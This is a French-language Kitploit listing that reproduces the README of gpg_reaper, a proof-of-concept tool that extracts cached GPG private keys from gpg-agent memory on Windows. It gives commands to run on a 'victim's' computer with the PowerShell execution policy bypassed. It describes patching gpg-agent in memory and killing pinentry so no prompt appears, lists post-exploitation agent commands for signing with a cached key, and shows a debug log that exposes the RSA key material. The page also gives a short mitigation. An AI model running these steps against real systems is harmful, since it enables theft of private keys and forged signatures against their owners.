Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
gpg_reaper — GPG Reaper - Obtenir/Voler/Restaurer des clés privées GPG depuis le cache/mémoire de gpg-agent | Kitploit
Outils/GitHubGitHub/kacperszurek/gpg_reaper
Criminalistique MémoireExploitationPost-ExploitationTests d'Intrusion
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - Obtenir/Voler/Restaurer des clés privées GPG depuis le cache/mémoire de gpg-agent

Voir le dépôt
96112il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GPG Reaper

TL;DR: Obtenir/Voler/Restaurer les clés privées GPG depuis le cache/mémoire de gpg-agent

GPG Reaper logo

Cette preuve de concept démontre une méthode pour obtenir les clés privées GPG depuis la mémoire de gpg-agent sous Windows.

Normalement, cela ne devrait être possible que dans un délai de 10 minutes (valeur de --default-cache-ttl).

Malheureusement, la fonction housekeeping() (responsable du nettoyage du cache) n'est exécutée que si vous utilisez GPG (il n'y a pas de minuteur).

Cela signifie que dans un cas d'utilisation normal de GPG, comme : vous signez un fichier, puis fermez l'interface graphique et faites autre chose, votre mot de passe est toujours en mémoire dans gpg-agent (même si le ttl a expiré).

Un attaquant ayant accès à votre session en cours peut utiliser cela pour voler la clé privée sans connaître votre phrase de passe.

ATTENTION : GPG modifiera le mécanisme de mise en cache dans la version 2.2.6. Consultez le commit et le problème.

Implémentation de Gpg Reaper

Table des matières

  • Installation
  • Test
  • Introduction
  • Utilisation
  • Post-exploitation sur une machine avec GPG
  • Contournement de la restriction d'exportation de clé privée
  • Conclusion
  • Implémentation
  • Versions supportées
  • FAQ
  • Attributions

Installation

root@kitploit:~
pip install PGPy

Si vous obtenez :

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` en exécutant le script Python alors :

alors :

root@kitploit:~
pip install six==1.10.0

Test

1. Installez Gpg4Win 3.0.3

2. Ouvrez une ligne de commande et démarrez l'agent avec un temps de cache de 2 secondes :

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3. Lancez Kleopatra et générez une nouvelle paire de clés

Générer une clé GPG

4. Signez un fichier test exemple

Signer un fichier test

5. Pinetry s'affichera et vous demandera votre phrase de passe

Pinentry

6. Répétez les étapes 4-5. Chaque fois que pinetry apparaît parce que notre cache de 2 secondes a expiré

7. Lancez GPG reaper

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Vous verrez quelque chose comme :

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Comme vous pouvez le voir, nous avons dumpé la clé. Cela est possible car nous avons noppé la fonction housekeeping.

8. Restaurez la clé privée :

root@kitploit:~
python gpg_reaper.py .\testme.txt

La clé privée est dumpée dans le fichier :

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Introduction

GPG-Agent est un démon qui gère les clés privées indépendamment de tout protocole.

L'interface graphique communique avec l'agent en utilisant le Protocole Assuan.

Par défaut, l'agent met en cache vos identifiants.

L'option --default-cache-ttl n définit le temps de validité d'une entrée de cache à n secondes.

La valeur par défaut est 600 secondes. Chaque fois qu'une entrée de cache est consultée, son compteur est réinitialisé.

Sous Windows, le processus de signature se déroule comme ceci :

Processus de signature

La partie cruciale ici est la fonction housekeeping() qui est responsable de la suppression des identifiants expirés de la mémoire.

Mais il y a un problème : cette fonction n'est exécutée qu'à deux endroits (dans agent_put_cache et agent_get_cache).

Cela signifie que les identifiants mis en cache ne sont PAS retirés de la mémoire tant qu'aucune commande gpg-agent utilisant agent_put_cache, agent_get_cache ou agent_flush_cache n'est exécutée.

Utilisation

Sur l'ordinateur de la victime :

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Transférez out.txt vers votre machine et restaurez les clés privées :

root@kitploit:~
gpg_reaper.py out.txt

Les clés privées seront déposées dans des fichiers séparés.

Si GPG est installé en dehors des répertoires par défaut :

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Si vous ne voulez pas de messages de débogage :

root@kitploit:~
Gpg-Reaper -Verbose $false

Post-exploitation sur une machine avec GPG

Supposons que vous effectuez un test de pénétration et que vous obtenez un shell sur un ordinateur avec GPG installé.

Si vous avez de la chance et que l'utilisateur a utilisé GPG récemment et que le cache n'a pas expiré, vous pouvez :

1. Signer un fichier :

Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obtenez la liste des clés disponibles sur cette machine
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Définissez le keygrip et le hash du message
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 du message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2. Exporter la clé privée :

Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obtenez la clé d'encapsulation
root@kitploit:~
KEYWRAP_KEY --export
  • Exportez une clé secrète du magasin de clés. La clé sera chiffrée en utilisant la clé d'encapsulation de la session courante avec l'algorithme AESWRAP-128
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Malheureusement, cela ne fonctionne pas comme prévu et demande un mot de passe.

Pourquoi ? Parce que la fonction cmd_export_key() exécute agent_key_from_file() avec le drapeau CACHE_MODE_IGNORE ce qui signifie que le cache ne sera pas utilisé et que l'utilisateur doit saisir sa phrase de passe à chaque fois.

Contournement de la restriction d'exportation de clé privée

Nous savons qu'il n'est pas possible d'exporter une clé GPG via gpg-agent sans connaître le mot de passe.

Mais il y a une petite astuce. L'agent dispose de quelques options disponibles :

1. --debug-level

Sélectionnez le niveau de débogage pour enquêter sur les problèmes. level peut être une valeur numérique ou un mot-clé :

guru - Tous les messages de débogage possibles.

2. --log-file file

Ajoutez toute la sortie de journalisation au fichier. Cela est très utile pour voir ce que fait l'agent.

Lançons l'agent en utilisant gpg-agent.exe --daemon --debug-level guru --log-file out.txt et signons un fichier.

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

Il semble que le mode guru imprime les nombres n, e, d, p, q et u dans le fichier journal. Sachant cela, nous pouvons calculer la clé publique et privée.

En interne, la valeur skey est imprimée par gcry_log_debugsxp() lorsque DBG_CRYPTO est activé :

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

Conclusion

Si vous voulez vous protéger contre cette attaque, vous devez désactiver le cache.

Créez/modifiez : %APPDATA%\gnupg\gpg-agent.conf :

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

Implémentation

  1. Vérifiez si les chemins de gpg-connect-agent.exe, gpg-agent.exe et gpg.exe sont corrects

  2. Vérifiez si le sha256 de gpg-agent.exe est supporté

  3. Vérifiez si le processus gpg-agent.exe est en cours d'exécution et ouvrez-le en utilisant OpenProcess

  4. Start-Job qui tue toutes les instances du processus pinentry. Ainsi, lorsque nous demandons une clé qui n'est pas dans le cache, nous pouvons continuer sans interaction de l'utilisateur

  5. Lisez les octets originaux de housekeeping() et agent_pksign_do() afin de pouvoir les restaurer après l'exécution du script

  6. NOP la fonction housekeeping() pour qu'elle ne supprime pas le cache expiré de la mémoire NOP housekeeping

JMP addr

  1. Exécutez la commande suivante en utilisant gpg-connect-agent.exe :
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Vérifiez si le fichier journal contient les nombres n, e, d, p, q et u. Si oui, renvoyez-les à l'utilisateur.

  2. Répétez les étapes 8-11 pour chaque clé du point 7

Maintenant, en utilisant la bibliothèque PGPy, nous pouvons restaurer la clé privée. Voir : gpg_reaper.py

Versions supportées

Gpg-agent est compilé sans ASLR, donc j'utilise des décalages codés en dur dans le script PowerShell.

Pour cette raison, seules les versions spécifiées sont supportées :

Versionsha256 de gpg-agent.exe
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

FAQ

  1. Pourquoi PowerShell ?

Parce que ce fichier peut être exécuté sans aucune dépendance externe sur la plupart des systèmes Windows modernes.

  1. GPG %fichier% n'existe pas

gpg-connect-agent.exe, gpg-agent.exe ou gpg.exe n'existent pas dans l'emplacement par défaut.

Vous pouvez essayer de spécifier un emplacement personnalisé en utilisant :

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. Aucun gpg-agent en cours d'exécution

gpg-agent.exe n'est pas en cours d'exécution sur ce système, donc nous ne pouvons pas restaurer la clé privée.

  1. Version gpg-agent inconnue, sha256 :

Actuellement, ce script ne supporte que des versions spécifiques

  1. Pas de clé mise en cache

Il n'y a pas de clé mise en cache en mémoire, donc nous ne pouvons pas restaurer la clé privée.

Attributions

Icône de faux réalisée par Freepik de www.flaticon.com.

Police Solstice Of Suffering par GraveTech.

Télécharger l’outil
  • Obtenez la liste de toutes les clés privées disponibles en utilisant gpg.exe --list-secret-keys --with-keygrip

  • Obtenez la clé publique en utilisant gpg.exe --armor --export %key_fingerprint%

  • Allouez de la mémoire à l'intérieur de gpg-agent.exe en utilisant VirtualAllocEx. Stockez-y le chemin de notre fichier journal et appelez log_set_file().

  • Remplacez if (DBG_CRYPTO) par un appel à notre mémoire allouée du point 9 à l'intérieur de agent_pksign_do().

  • 3.0.1BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC